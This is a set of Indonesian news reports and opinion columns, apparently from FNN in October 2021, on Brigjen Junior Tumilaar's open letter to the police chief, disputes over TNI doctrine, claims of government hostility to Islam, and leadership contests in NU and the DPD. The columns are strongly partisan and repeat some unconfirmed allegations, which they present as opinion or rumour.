Bandung, FNN - "Saya diperintahkan untuk bertugas di kampung halaman leluhur di Sulawesi Utara agar mengetahui problem rakyat. Itu yang saya terjemahkan ketika diperintahkan KSAD Jenderal Andika Perkasa untuk menjadi Inspektur Kodam (Irdam) XIII Merdeka di Sulawesi Utara (Sulut) lebih setahun yang lalu,” kata Brigadir Jenderal TNI Junior Tumilaar di Bandung, Ahad (10/10). Ya, itulah tanah tumpah leluhurnya sebagai orang Minahasa, Sulawesi Utara. Ia mengaku sangat mencintai kampung halaman keluarga dalam menjalankan tugas negara. Hal itu dikemukakannya saat bincang pagi dengan pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta, Selamat Ginting, melalui link zoom. Brigjen Junior Tumilaar, pagi itu, berada di rumahnya Komplek Perumahan Angkatan Darat (KPAD) di Gegerkalong, Bandung, Jawa Barat. Ia mengaku memahami tentang risiko yang harus dihadapinya dengan membuat surat terbuka kepada Kepala Polri Jenderal Polisi Listyo Sigit Prabowo. Surat yang intinya sebagai protes atas tindakan oknum lembaga kepolisian Sulut yang memanggil untuk memeriksa anak buahnya, bintara pembina desa (babinsa). “Saya tahu risikonya, termasuk akan dipanggil untuk diperiksa Pusat Polisi Militer Angkatan Darat (Puspomad). Soal pencopotan sebagai Irdam XIII Merdeka, saya siap melaksanakannya. Saya ini orang teknik tempur, jadi tahu risiko pertempuran,” ujar abituran (lulusan) Akademi Militer (Akmil) 1988-A dari Korps Zeni. Dalam pertempuran, kata Junior, tidak bisa dihindari akan ada korban. Sehingga dia siap menjadi korban dalam pertempuran tersebut untuk kemenangan yang lebih besar. “Surat saya yang disebut Bung Selamat Ginting dalam tulisannya seperti graffiti komunikasi memang merupakan bentuk protes,” ujar Junior yang mengawali tugas sebagai Komandan Peleton Zeni Tempur (Zipur) di Detasemen Zipur 5 di Ambon tahun 1988. Guru dan dosen militer Ia menjelaskan dalam karier militernya lebih banyak ditugaskan di lembaga pendidikan selama sekitar 17 tahun. Mulai sebagai guru militer di Pusat Pendidikan Zeni (Pusdikzi) selama lima tahun, dilanjutkan sebagai Wakil Komandan Pusdikzi selama sekitar dua tahun. Begitu juga penugasan di Komando Pendidikan dan Latihan Angkatan Darat (Kodiklatad), hingga menjadi dosen utama di Sekolah Staf dan Komando Angkatan Darat (Seskoad). Total sekitar 17 tahun dari 33 tahun pengabdiannya sebagai militer. “Jiwa saya guru, guru militer. Guru militer maupun dosen militer itu harus berani. Protes saya itu bentuk edukasi, pendidikan agar tidak ada lagi kesewenangan oknum polisi memeriksa anak buah saya sebagai babinsa,” kata mantan Komandan Kodim di Tapanuli Tengah itu. Dia mengaku awalnya sudah menyampaikan ada kekeliruan dari kepolisian melalui forum resmi kepada Polda dan juga kepada forum pimpinan daerah Sulawesi Utara. Ternyata tidak ada tindak lanjut apapun. Bahkan seperti tidak ada persoalan sama sekali. Sehingga dia membuat surat terbuka kepada Kepala Polri yang tembusannya ditujukan kepada Panglima TNI, KSAD, dan Panglima Kodam XIII Merdeka. “Saya tidak mau institusi saya disepelekan, institusi saya tidak dihormati, institusi saya dilecehkan. Sebagai Irdam, saya adalah pengawas. Saya mengawasi dan memeriksa, ada yang tidak beres. Saya ambil risiko, termasuk membela rakyat yang tertindas. Masa sebagai jenderal saya takut kehilangan jabatan? Saya rela berkorban untuk institusi TNI, Angkatan Darat, untuk Kodam dan untuk rakyat Sulawesi Utara tempat saya berdinas.” Tugas di Enam Kodam Setidaknya, Junior memang sudah malang melintang tugas di 5-6 Kodam di Indonesia, mulai dari Maluku, Papua, Kalimantan Timur, Aceh, Sumatra Utara, Jawa Barat, Jakarta, Sulawesi. Sehingga ia memahami masalah rakyat. Termasuk masalah pertanahan dan kasus-kasus yang menimpa rakyat. Menurutnya, sebagai perwira Korps Zeni ia diberikan ilmu tentang tanah dan asal usul tanah. Termasuk dokumen-dokumen pertanahan dari zaman kolonial Belanda. Masalah tanah dalam institusi militer diserahkan penanganannya kepada Korps Zeni di Kodam. Sehingga ia mempelajari status-status tanah di wilayah Indonesia yang digunakan oleh militer. “Sama dengan kasus di Sulawesi Utara, saya pelajari juga status tanah yang dimiliki sejumlah korporasi. Kok bisa mereka menguasai tanah-tanah rakyat, tanah ulayat, tanah adat. Sudah sekian lama terjadi, tapi tidak ada yang berani melawan kezaliman. Bisa jadi kasus tanah di Sulawesi Utara, di Sentul Bogor, dan Toba di Sulawesi Utara juga mengundang pertanyaan besar. Bagaimana rakyat terusir dari kampung halamannya, tanah dari nenek moyangnya tak bisa ditempati. Rasanya harus ada keadilan bagi rakyat,” kata Brigjen Junior yang pernah menjadi staf ahli bidang lingkungan hidup di Kodam Bukit Barisan. Sebagai tentara, kata dia, maka prajurit harus menyesuaikan diri dalam tugas di sejumlah daerah. Seperti saat dirinya bertugas di Aceh, Junior menghormati kebiasaan dan tradisi masyarakat Aceh. Termasuk keyakinan agama masyarakat setempat jangan dijadikan kendala, tetapi justru harus bisa menyatu dengan rakyat. “TNI itu tentara rakyat dan tidak boleh dimanfatkan oleh golongan-golongan mana pun, baik politik maupun korporasi atau ekonomi. Itu petuah panglima besar almarhum jenderal Sudirman,” kata Junior yang menyandang pangkat kolonel selama delapan tahun dengan enam jabatan. Sementara pangkat letnan kolonel disandangnya selama 12 tahun dengan delapan jabatan. Ia memang bukan perwira karbitan, namun melalui perjuangan berliku menjadi jenderal. Kini setelah kasusnya viral, hasil pemeriksaan Puspomad berbuntut ia harus kehilangan jabatan bergengsi sebagai Irdam XIII Merdeka. “Jabatan itu amanah, kalau diambil ya harus siap, jangan dipikirkan,” kata Junior sambil tertawa lepas. Senin (11/10) ini dia akan kembali menjalani pemeriksaan di Markas Puspomad di Jakarta. “Jika dianggap bersalah oleh institusi saya, Markas Besar Angkatan Darat (Mabesad), saya akan terima dan patuhi,” kata jenderal yang sudah berkarier militer selama 33 tahun dan berpengalaman dalam tugas teritorial, tempur, pendidikan, serta staf. Mengenai rencana menghadapi pensiun pada Mei 2022 mendatang, Junior mengaku sudah siap. Dia mengaku tidak tertarik untuk masuk dalam dunia politik, seperti mencalonkan sebagai kepala daerah. “Bidang saya bukan di situ. Jiwa saya adalah guru. Guru itu memberitahu tentang kebenaran. Jadi setelah pensiun saya akan menjadi guru,” kata kandidat doktor hubungan internasional tersebut. Ia mengaku belum bisa melanjutkan kuliah lagi walau pun tinggal penelitian disertasi. Alasannya, antara lain karena tidak memiliki cukup dana untuk melanjutkannya. Ia lebih memilih membiayai kuliah anak-anaknya daripada menuntaskan kuliah doktoralnya di Universitas Padjajaran, Bandung. “Modal kuat saya karena ditempa lama di lembaga pendidikan militer, jadi nurani saya tinggi untuk membela ketidakadilan di tengah masyarakat. Saat menjadi Komandan Kodim di Sibolga, saya pelajari falsafah orang Sumatra Utara. Saya pelajari antropologi sosial bidaya serta kearifan lokalnya. Jadi saya tidak kesulitan dalam tugas-tugas teritorial. Itulah hakikatnya tentara rakyat,” ujar mantan perwira menengah ahli nuklir, biologi, dan kimia (Nubika) di Pusat Zeni Angkatan Darat. Perihal namanya, Junior mengungkapkan bahwa marga atau fam Tumilaar di Minahasa, artinya adalah yang dirindukan. Sementara Junior adalah nama pemberian kakeknya, berarti yang muda atau penerus keluarga. Ya, sesuai dengan namanya Junior Tumilaar, dialah jenderal penerus yang dirindukan. Selamat mengabdi, Jenderal yang dirindukan! (sws)

Agus Widjojo Ngaco

By M RIzal Fadillah GUBERNUR Lemhanas Letjen TNI (Purn) Agus Widjojo aneh bisa ngomong sedemikian asbun dan ngaco. Memalukan korps TNI atas ungkapan yang jauh menyimpang dari doktrin TNI yang dipegang TNI dan dikenal rakyat. Ungkapan putera dari Mayjen (Anumerta) Sutoyo Siswomiharjo yang dibunuh PKI ini jika tidak diluruskan dapat membawa TNI jauh dari rakyat dan rakyat pun menjauh dari TNI. Pandangan brutal Agus Widjoyo awalnya didasarkan pada persepsi menyalahkan Irdam XIII/Merdeka Brigjen Junior Tumilaar yang membela habis Babinsa yang dipanggil Polri akibat berurusan dengan pembelaan pada rakyat. Hubungan TNI dengan rakyat menjadi tema wawancara Agus dengan Najwa Shihab dalam acara Narasi. Narasi Agus ternyata "jeblok". Tiga "jeblok" nya narasi Agus Widjojo, yaitu : Pertama, saat perang TNI bersatu dengan rakyat, contohnya perang gerilya, tetapi setelah sistem demokrasi maka rakyat itu menjadi milik Presiden sebagai akiibat adanya Pemilu Pilpres. Weleh, logika kok bisa seperti ini ? Asas rakyat berdaulat itu tidak hilang dengan terpilihnya Presiden, mas. Rakyat milik Presiden itu bukan di negara demokrasi tetapi di negara yang menganut asas "l'etat cest moi" Negara adalah Aku ! Kedua, kemanunggalan TNI dengan rakyat itu untuk prajurit bukan Mabes atau institusi. Waduh, bahaya kalau begini. Prajurit dilepas dari institusi. Prajurit menjadi obyek eksploitasi dan diserahkan pada rakyat untuk melayani. Ini namanya doktrin licik TNI. Pantas jika para Perwira Tinggi hidupnya mewah dan berkelas, sementara Prajurit belepotan seperti menderitanya rakyat kebanyakan. Terbentuk kaum borjuasi para Jenderal. Ketiga, pernyataan bahwa TNI membela rakyat itu keliru. Termasuk Babinsa yang mengurusi masyarakat sipil. Widjojo lupa Babinsa itu singkatan dari Bintara Pembina Desa yang merupakan Satuan Teritorial TNI AD yang berhadapan langsung dengan masyarakat. Sebagai unsur terdepan Babinsa dituntut aktif mengatasi persoalan yang ada di lingkungannya. Nah, disini TNI mencoba bersatu dan membantu, bukan menipu dan membebani rakyat. Dari kacamata manapun pernyataan Agus Widjojo itu salah, cermin dari egosentrisme seorang Gubernur Lemhanas. Apakah Agus tidak pernah baca Undang-Undang TNI yang menegaskan bahwa TNI adalah tentara rakyat dan tentara pejuang ? Juga dalam pengembangan profesionalitas harus mengacu pada prinsip demokrasi dan supremasi sipil ? Artinya rakyat tidak bisa dipisahkan dari kiprah dan peran TNI. "Rakyat milik Presiden" adalah ucapan paling tragis dan memprihatinkan dari seorang Purnawirawan Perwira Tinggi TNI yang kini menjabat sebagai Gubernur Lemhanas. *) Pemerhati Politik dan Kebangsaan

Setelah Islam, Sekarang TNI, Masih Belum Percaya Ancaman Komunis?

TENTU banyak yang bertanya kenapa rezim hari ini begitu “tidak ramah” terhadap Islam. Meskipun ummat Islam sebagai mayoritas dan pemilik saham terbesar atas berdirinya negara ini, tapi diperlakukan seperti terasing di negerinya sendiri. Penyakit Islamfobhia di negeri ini begitu parah dan menyakitkan. Atas nama fitnah radikalisme, intoleransi, dan politik identitas, rezim hari ini bersama buzzer dan jajarannya seakan mendapat privilege khusus untuk bisa berbuat apa saja terhadap Islam. Mulai dari pelarangan cadar, stigma buruk celana cingkrang, bendera Laillahaillallah yang berupa kalimat suci ummat Islam sedunia distigmakan sepihak sebagai lambang teroris. Pelajaran dan kurikulum agama dihapuskan (meski sempat direvisi), kearifan lokal berbau syariat Islam melalui Peraturan Daerah ratusan jumlahnya dicabut. Dana haji nya tak jelas keberadaan dan laporannya, sudah dua tahun ummat Islam Indonesia tidak bisa naik haji dengan alasan Covid-19. Para ulama dan aktifisnya dipenjarakan. Organisasi atas nama Islam seperti FPI dan HTI dibubarkan dengan alasan yang dibuat-buat. Hari ini, seolah ummat Islam menjadi beban buruk bagi bangsa ini. Ada yang ngaku ulama, pakai sorban, bergelar Kiyai, dan malah menjabat ormas Islam yang besar, tapi komentar dan celotehnya lebih banyak menyakitkan hati ummat Islam. Bahkan menjurus pada pelecehan, seperti bilang Allah itu tidak ada dalam Al Quran. Kalau ada para Ulama, Habaib, Kiyai, aktifis yang melakukan pelurusan dan pencerahan terhadap pemahaman Islam dan stigmaisasi negatif terhadap Islam, malah dituduh Ustad radikal, ulama intoleransi, tidak cinta NKRI, dan anti keberagaman. Begitu mudahnya kelompok rezim hari ini membolak-balikkan fakta menggunakan instrumen kekuasaan. Negara ini seolah menuju negara Fasisme. Siapa yang ikut dan tunduk pada negara, maka akan dapat jabatan, fasilitas, dan kekuasaan. Tapi siapa yang tidak mau ikut dan tunduk, maka bersiap siaplah dengan resikonya. Ternyata tidak sampai disitu saja. Hari ini, aura kebencian dan permusuhan juga “mulai terjadi dan bergeser” terhadap keluarga besar TNI. Dimulai dari ditangkapnya Mayjend Purn TNI Kivlan Zen, Mayjend Purn Sunarko, konstalasi politik mulai semakin tendensius. Kenapa mulai tendensius? karena sudah mulai berani menyebutkan ada purnawirawan TNI dengan kata kata Radikal. Belum lagi survey dari Kemenag yang menyatakan ada 5 persen anggota TNI aktif yang terpapar radikalisme. Setelah itu, terjadi lagi penangkapan terhadap Kapten Ruslan Buton yang menyuarakan suara rakyat melalui surat terbukanya kepada Presiden. Dimana sebelumnya Kapten Ruslan Buton membongkar bagaimana aktifitas TKA China di Maluku utara yang dalam kaca mata insting militernya sudah sangat mencurigakan dan jadi ancaman bagi kedaulatan negara. Yang terbaru, viralnya surat terbuka Bigjen TNI Junior Tumilar, Irdam Kodam Merdeka, yang membuat surat terbuka kepada Kapolri, atas pemeriksaan anggota Babinsa oleh Polres dan penyerobotan lahan sepihak oleh perusahaan atas tanah adat masyarakat setempat. Namun sayang, Jendral bintang satu ini juga bernasib naas. Beliau dicopot dari jabatannya atas alasan untuk memudahkan pemeriksaan. Yang sekarang sedang ditangani Puspomad TNI AD. Terakhir (sampai tulisan ini ditulis), bagaikan petir di siang bolong, tiba-tiba Gubernur Lemhannas Letjen Purn TNI Agus Widjojo mengeluarkan statemen kontroversial di acara Mata Najwa. Dimana dalam pernyataannya, Agus mengatakan bahwa ; seolah tak ada sebenarnya doktrin tentara manunggal rakyat. Atau istilah pertahanannya, konsep Binter (pembinaan teritorial) hanyalah akal-akalan era Soeharto biar tentara enak-enak sebagai penopang kekuasaannya. Sontak pernyataan Agus yang sekarang menjabat sebagai Gubernur Lemhannas membuat para TNI aktif maupun purnawirawan meradang dan marah. Karena, konsep Binter adalah bagian dari implementasi Sishankamrata (Sistem Pertahanan Keamanan Rakyat Semesta) yang dijamin konstitusi serta sudah teruji handal, tangguh sebagai konsep pertahanan rakyat yang menghantarkan rakyat ini merdeka dan bisa memadamkan berbagai pemberontakan dalam negeri. Konsep Binter di mata Agus seolah lahir dari tentara yang malas mikir. Padahal, konsep Binter ini adalah salah satu ide jenius dan brilian dari para senior TNI mulai dari Jendral Soedirman, Gatot Subroto, Dan AH Nasution. Menyatunya rakyat dan TNI teruji menjadi instrumen daya tangkal yang ampuh dalam upaya cegah dini, tangkal dini dalam menghadapi ATHG (Ancaman, Tantangan, Hambatan, dan Gangguan) Justru konsep Sishankamrata inilah yang menjadi ruh utama kekuatan TNI saat ini. Dimana konsep ini boleh dikatakan konsep yang paling ditakuti oleh pihak yang ingin menguasai Indonesia. Jadi sangat aneh, seorang Gubernur Lemhannas yang informasinya tidak pernah sekolah Lemhannas ini mengeluarkan statemen seperti itu. Agus Wijoyo seakan menyampaikan kegelisahan suatu kelompok selama ini yang merasa terganggu dengan keberadaan TNI di tengah masyarakat melalui fungsi teritorial ini. Karena fungsi teritorial TNI juga adalah mata dan telinga TNI di tengah masyarakat. Kejadian yang menimpa Brigjen Junior Tumilar, Kapten Ruslan Buton, Mayjen Kivlan Zen, adalah salah satu bentuk bagaimana secara personal ketika prajurit TNI yang Saptamargais itu tahu akan sumpah dan delapan wajib TNI nya, tidak akan khianat, tidak akan diam, tidak akan takut atau tunduk kepada siapapun ketika bangsa dan negaranya dalam ancaman. Tentara Indonesia itu lahir sebelum negara ini ada. Makanya disebut sebagai “ Tentara Rakyat “. Dengan jargon, Bersama Rakyat TNI Kuat. Karena TNI lahir dari rakyat untuk rakyat. TNI adalah anak kandung rakyat. Dan NKRI ini lahir oleh perjuangan rakyat dan tentara. Kok lupa jendral? Makanya juga, politik TNI itu adalah politik negara. Dimana konstitusi adalah sebagai Panglima Tertinggi. Sesuai Sapta Marga prajurit TNI. Jadi wajar pernah terjadi insiden dimana Panglima Besar Jendral Soedirman menentang perintah Soekarno yang memilih menyerah pada Belanda. Jenderal Soedirman memilih melanjutkan perlawanan gerilya bersama rakyat demi tetap tegaknya NKRI secara hukum internasional. Artinya, doktrin TNI sangat berbeda dengan doktrin negara lainnya di dunia. Kemanunggalan TNI bersama rakyat adalah kekuatan utama Sishankamrata. Kenapa ada yang takut dan risih dengan konsep ini? Ummat Islam dan TNI hari ini, boleh di katakan bernasib sama, dalam berada posisi yang sungguh sangat miris dan tersudutkan secara ideologis dan doktrin (Tupoksi). Kalau ada bahagian dari ummat Islam ataupun personil TNI yang mengatakan bangsa kita hari ini dalam keadaan baik-baik saja, berarti mereka itu adalah bahagian dari kerusakan hari ini. Sekarang pertanyaannya ada kembali kepada ummat Islam dan TNI. Apakah akan tetap diam? Takut? Menutup mata? Atau berkhianat? Jawaban ada pada diri masing-masing. Ancaman itu sudah nyata ada di depan mata. Ancaman bagi keutuhan NKRI yang kita cintai ini. Sebuah ancaman yang menyusup masuk ke dalam sendi bernegara kita hari ini. Hanya bagi yang beriman dan punya jiwa sapta marga yang kuat (bagi TNI) yang bisa membaca semua ini. Sebagaimana takdir lahirnya haq dan batil. Baik dan buruk. Dimana sebuah kata bijak selalu mengingatkan kita semua. “ Apabila suatu bangsa melupakan sejarah kelam bangsanya, maka akan dikutuk untuk mengulangi sejarah kelam itu kembali “. Ingat, sejarah 1965 terjadi karena Soekarno melupakan sejarah 1948. Artinya kita semua hari ini jangan sampai melupakan sejarah 1965, agar sejarah kelam itu tidak terjadi kembali hari ini atau sebentar lagi. Wallahualam.

Rocky dan Profesor Ocil

By M Rizal Fadillah UNGKAPAN Rocky Gerung di berbagai media saat mengomentari masalah politik yang berkembang sering menggelitik dan membuat geli. Kata "dungu" menjadi ciri yang melekat dari pengamat politik dan pakar ilmu filsafat ini. Profil gambar dirinya muncul dengan foto dan jari tangan di depan keningnya. Dungu. Teranyar adalah kritik soal pujian seorang guru besar dari University of Singapore kepada Presiden Jokowi. Pujiannya adalah bahwa Jokowi itu jenius karena sukses dalam kebijakan politik dan ekonominya. Tentu saja pujian model seperti ini menjadi makanan empuk bagi Rocky Gerung. Ia merasa aneh ada Profesor yang mampu menjuluki Jokowi sebagai jenius. Rocky menyebut Profesor Kishore Mahbubani ini seperti buzzer. Tukang dengung istana yang bisa jadi dibayar. Ia menyatakan "mengapa ada Profesor mirip buzzer. Jadi buzzer yang ada di luar negeri sebetulnya tuh". Ia menambahkan "ini orang semacam lembaga survey yang dibayar istana untuk promosikan berita baik". Berita baik yang dimaksudnya adalah Jokowi itu jenius. Yang kedua Rocky menyebut Kishore sebagai Profesor "ocil" otak kecil. "Kan ngga masuk akal kalau pujian itu berlebihan. Kalau pujian itu standar-standar masih masuk akal, ini (Jokowi) jenius. Jadi Profesor "ocil" juga. Guru besar dengan otak kecil" ungkapnya. Ketika menyebut buzzer luar negeri mungkin bagi Bung Rocky ini adalah varian baru mutasi buzzer. Buzzer dalam negeri sudah lemah di atau dilemahkan. Butuh injeksi dari Singapura. Sebenarnya Istana tak perlu repot untuk mengeluarkan biaya, karena itu urusan oligarkhi taipan yang biasa berkeliaran di Singapura. Jokowi tahu beres yang penting produknya adalah Jokowi jenius. "Ocil" konteks hewan besar yang berotak kecil adalah Dinosaurus, tepatnya Dinosaurus Stegosaurus. Berbadan besar dengan bobot 7 ton, tinggi 4 meter, panjang 9 meter namun otaknya hanya sebesar bola golf. Karena "tidak pintar" nya hewan ini maka Stegosaurus adalah spesies yang paling cepat punah. Sementara primata sepupu manusia dengan otak terkecil adalah Microcebus Berthae (tikus lemur) Madagaskar dengan berat otak hanya 2 gram. Tikus monyet ini bentuknya lucu juga. Rocky Gerung berbicara soal "ocil" untuk guru besar Singapura itu. Bila dibandingkan dengan hewan akan lebih dekat pada model Stegosaurus atau Microcebus ? Entahlah. Yang jelas tentu bukan mie rebus atau guru besar kardus. Berduri seperti kaktus dan berfikir sekelas buangan kakus. *) Pemerhati Politik dan Kebangsaan

Ada Taliban di KPK", Memicu Fitnah Massal

Surabaya, FNN - Advokat Subagyo, SH mengatakan, tuduhan "ada Taliban di KPK" yang menghebohkan itu, yang memicu fitnah massal itu, dan berbuntut pada pemecatan Novel Baswedan dkk itu, disebabkan oleh setidaknya tiga hal. Pertama, Iwan Ismail yang berlatar belakang GP Ansor NU itu kurang ilmu, tapi prasangkanya tinggi mengira bendera yang dia foto dan dia sebarkan itu adalah bendera Hizbut Tahrir Indonesia (HTI). Padahal, itu bendera liwa, bendera tauhid Islam. Lalu masyarakat yang terpengaruh provokasi yang sama-sama kurang ilmu itu manut grubyuk menyebarkan hoax "bendera HTI di KPK." Kedua, pemilik bendera liwa itu pegawai KPK dari unsur Kejaksaan (sehingga tidak termasuk pegawai yang dipecat dari KPK), adalah orang yang kurang kerjaan, karena dia itu nonmuslim. Tata Khoiriyah yang juga berlatar NU, pegawai KPK yang termasuk tidak lolos TWK, menerangkan bahwa meja yang ada bendera liwa itu meja kerja pegawai KPK, yakni Jaksa yang nonmuslim. Hotman Tambunan, mantan pegawai KPK juga bersaksi begitu. Jaksa itu beragama Hindu. "Ini harus klir, mengapa di meja Jaksa nonmuslim kok dipasang bendera tauhid Islam? Apa motivasinya? Apa si Jaksa itu kagum dengan bendera liwa, atau bagaimana?" kata Subagyo. Ketiga, buzzer semacam Denny Siregar itu memperkeruhnya dengan menyebarkan isu "ada Taliban di KPK" sehingga membuat keadaan makin runyam. Sekarang yang jadi pertanyaan adalah: "Itu disain, rencana jahat untuk melemahkan KPK, atau suatu kebetulan?" Makanya, sok pintar di medsos itu juga bahaya jika kebodohannya ditelan para nitijen lainnya. Seperti misalnya orang bukan ahli hukum tapi ngecapruk berfatwa hukum. Sarjana Ekonomi berfatwa soal hukum tanah, dikoreksi malah ngamuk membodoh-bodohkan orang. "Sarjana Hukum kok sok tahu analisis teknik nuklir. Ateis kok menafsirkan ayat Kitab Suci, padahal gak pernah ngaji tafsir. Lha ini orang gak paham bendera liwa kok sembarangan bilang itu bendera HTI. Itu kebodohan yang dipakai untuk merusak opini masyarakat," tegas Subagyo. (mth)

Merindukan NU yang Ikhlas dan Tulus Berkhidmat untuk Umat

Jakarta, FNN - KH. Agus Solachul Aam Wahib Wahab, Ketum NU Khithah 1926 mengatakan sedih sekaligus prihatin, mendengar kabar adanya oknum Caketum PBNU yang diduga mendapat dana besar dari Israel untuk dipergunakan membiayai pencalonan dirinya. "Ada pula dugaan oknum yang didukung oleh para pengusaha yang katanya disebut 9 Naga dan konglomerat China untuk membiayai pencalonannya," lanjut Gus Aam. Hal itu sebagaimana diungkap oleh Pengasuh Pondok Pesantren Ribath Al-Murtadla Al-Islami, Singosari, Malang KH Luthfi Bashori dalam artikel berjudul “Apa Benar di Muktamar Ada Risywah?” Terlepas hal ini baru dugaan, namun bau 'amis' tentang adanya permainan uang dalam penyelenggaraan Muktamar, sudah tercium sejak pada penyelenggaraan Muktamar yang dulu menempatkan KH SAS sebagai Ketum PBNU. "Tanpa turut membenarkan atau menegasikan kabar tersebut, rasanya saya sebagai dzuriyat Muassis NU sangat terpukul sekaligus terpanggil untuk ikut membenahi NU. Saat saya, Gus Wachid Muin, Gus Rozak, dan KH Hasib Wahab, almarhum KH Solahudin Wahid (Gus Solah), dan sejumlah Kiai 3 tahun lalu mendirikan Komite Khittah Nahdlatul Ulama 1926/KKNU 1926 atau yang lebih dikenal dengan istilah NU Khittah 1926, salah satu alasannya adalah keprihatinan tentang kondisi kekinian ditubuh NU," ujar Gus Aam. Pada beberapa waktu yang lalu, Gus Aam telah menulis kriteria yang semestinya dimiliki oleh Calon Ketum PBNU. Namun, sepertinya soal keikhlasan dalam mengelola Jam'iyyah, semata mencari ridlo Allah SWT, perlu dan penting diulang-ulang dan ditegaskan kembali. Perlu diketahui, menjadi Ketum PBNU berarti menjadi ketua Jam'iyah yang hanya berorientasi pada ridlo Allah SWT dan memiliki himmah untuk berkhidmat kepada umat. NU bukanlah perseroan, yang sejak didirikan memang bertujuan mencari profit, berorientasi pada materi. Maka semua calon Ketum PBNU harus terus menghayati NU sebagai jam'iyah dakwah, organisasi perjuangan, yang tidak sedikitpun memikirkan keuntungan materi baik untuk dirinya atau kelompoknya. Sekali lagi, NU adalah Jam'iyyah dakwah. Menarik NU dalam kerja-kerja profit oriented atau menariknya ke area politik praktis dengan menghalalkan segala cara demi mencapai tujuan harta dan tahta, adalah sebuah pengkhianatan terhadap Hadratus Syaikh KH Hasyim Asy'ari. Sebagai dzuriyat pendiri NU, saya merasa berkewajiban, bertanggungjawab, bahkan berhak mengingatkan siapapun agar tidak menjadikan NU sebagai jam'iyah untuk mencari dan mengumpulkan harta dunia. "Para Caketum PBNU harus kembali menginsyafi, dirinya hanyalah melanjutkan perjuangan NU, bukan pendiri NU yang bebas menentukan arah dan corak orientasi NU. Mereka, harus kembali merujuk khittoh yang ditetapkan pendiri NU agar tidak keluar dari rel perjuangan NU," kata Gus Aam mengingatkan. "Bekerja dan berjuang bukan karena kedudukan, Pengaruh ataupun kekayaan, Tidak pula karena mengharap pujian dan sanjungan, melainkan semua itu dilakukanya demi kepentingan Agama dan Masyarakat." Kata-kata Hadratus Syekh KH Muhammad Hasyim Asy’ari diatas, harus diresapi dan mengkristal dalam setiap sanubari Caketum PBNU dan seluruh anggota Jam'iyyah. Tidak boleh ada -meski hanya sebiji gandum- onggokan dunia dalam dada-dada jam'iyah NU. "Terakhir, saya berharap isu adanya pendana bahkan donatur dari Israel untuk caketum PBNU tidak benar. Karena itu jelas-jelas mengkhianati perjuangan dari Hadratus Syekh KH Hasyim Asy’ari," ungkap Gus Aam. . Karena itu, penting bagi seluruh kader NU untuk turut mengontrol jalannya muktamar, dengan tanpa kenal lelah terus menghadirkan spirit keikhlasan dalam perjuangan serta hanya mengharap ridlo Allah SWT, sebagai pemandu sekaligus penjamin bersihnya perjuangan yang diemban NU. (mth)

LaNyalla Ajak Ulama Sosialisasikan Pentingnya Amendemen Kelima

Jakarta, (FNN) - Ketua DPD RI AA LaNyalla Mahmud Mattalitti mengajak ulama untuk ikut menyosialisasikan pentingnya amendemen kelima konstitusi. LaNyalla menyampaikan hal itu saat mengunjungi Pondok Pesantren (Ponpes) Ar-Roudhoh pimpinan Habib Mahdi Asegaf Syababul Kheir, di Cilebut Timur, Kecamatan Sukaraja, Bogor, Jawa Barat, Jumat (8/10) malam. Dalam silaturahmi itu, LaNyalla memaparkan urgensi amendemen ke-5 UUD NRI Tahun 1945 dan pentingnya peran ulama untuk ikut andil membangun negeri. Dalam kunjungan itu, LaNyalla ditemani anggota DPD RI asal Lampung Bustami Zainudin, Tamsil Linrung (Sulawesi Selatan), Sekretaris Jenderal DPD RI Rahman Hadi, Deputi Administrasi DPD RI, Lalu Niqman Zahir, dan lainnya. Di Ponpes Ar-Roudhoh, rombongan anggota DPD RI disambut Habib Mahdi Assegaf dan K.H. Abah Raodl Bahar Bakry. Dalam perbincangannya, LaNyalla menilai peran ulama begitu penting dalam proses mempertahankan keutuhan dan membangun kemajuan bangsa. "Maka dari itu, saya mengharapkan peran ulama dalam hal menjaga keutuhan dan mendorong kemajuan bangsa bisa seirama dengan apa yang diperjuangkan DPD RI," kata LaNyalla dalam siaran persnya di Jakarta, Sabtu, 9 Oktober 2021. Ia menyebut salah satu peran ulama dalam memajukan bangsa dengan ikut melakukan sosialisasi amendemen ke-5 konstitusi yang kini sedang diperjuangkan oleh DPD RI. Ulama, katanya, memiliki peran penting dalam melakukan pencerahan kepada umat dan masyarakat di lapisan bawah. "Masyarakat harus mendapatkan edukasi terkait dengan rencana amendemen ke-5. Saya berharap para ulama bisa menyampaikan kepada jemaah dan masyarakat luas untuk memberikan pencerahan betapa strategisnya amendemen kelima konstitusi," tutur LaNyalla. Amendemen kelima konstitusi bukan hanya kepentingan DPD RI. Akan tetapi, jauh dari itu, guna memperjuangkan hak konstitusional masyarakat sebagai warga negara. "Siapa pun berhak berkontribusi terhadap perbaikan nasib bangsa," kata senator asal pemilihan Jawa Timur itu. "Sebagai warga negara, saya yakin banyak yang ingin berkontribusi terhadap kemajuan bangsa, tak terkecuali dari kalangan ulama," ujarnya. Namun, lanjut dia, ada hal-hal yang membuat kontribusi tersebut sulit tersalurkan. Maka, amendemen kelima konstitusi ini adalah upaya mengoreksi arah perjalanan bangsa sebagaimana dicita-citakan oleh para pendiri bangsa. Habib Mahdi Assegaf sependapat dengan pernyataan LaNyalla. Dia mendukung penuh kiprah tokoh yang memang dikenal dekat dengan kalangan ulama tersebut dalam memperjuangkan amendemen kelima konstitusi. Menurut dia, sudah saatnya ulama diberikan peran yang luas dalam ikut membangun bangsa ini bersama-sama. "Insya Allah, kami siap men-support perjuangan beliau (LaNyalla). Sosialisasi tidak hanya di kalangan masyarakat, tetapi juga di kalangan para ulama dan habaib, bagaimana kami bisa menyatukan gerak langkah seiring seirama dengan perjuangan Pak LaNyalla di parlemen," tutur Habib Mahdi. (MD).

Kabar Gembira: Pemerintah Arab Saudi Kembali Buka Jalur Umrah Bagi Jamaah Indonesia

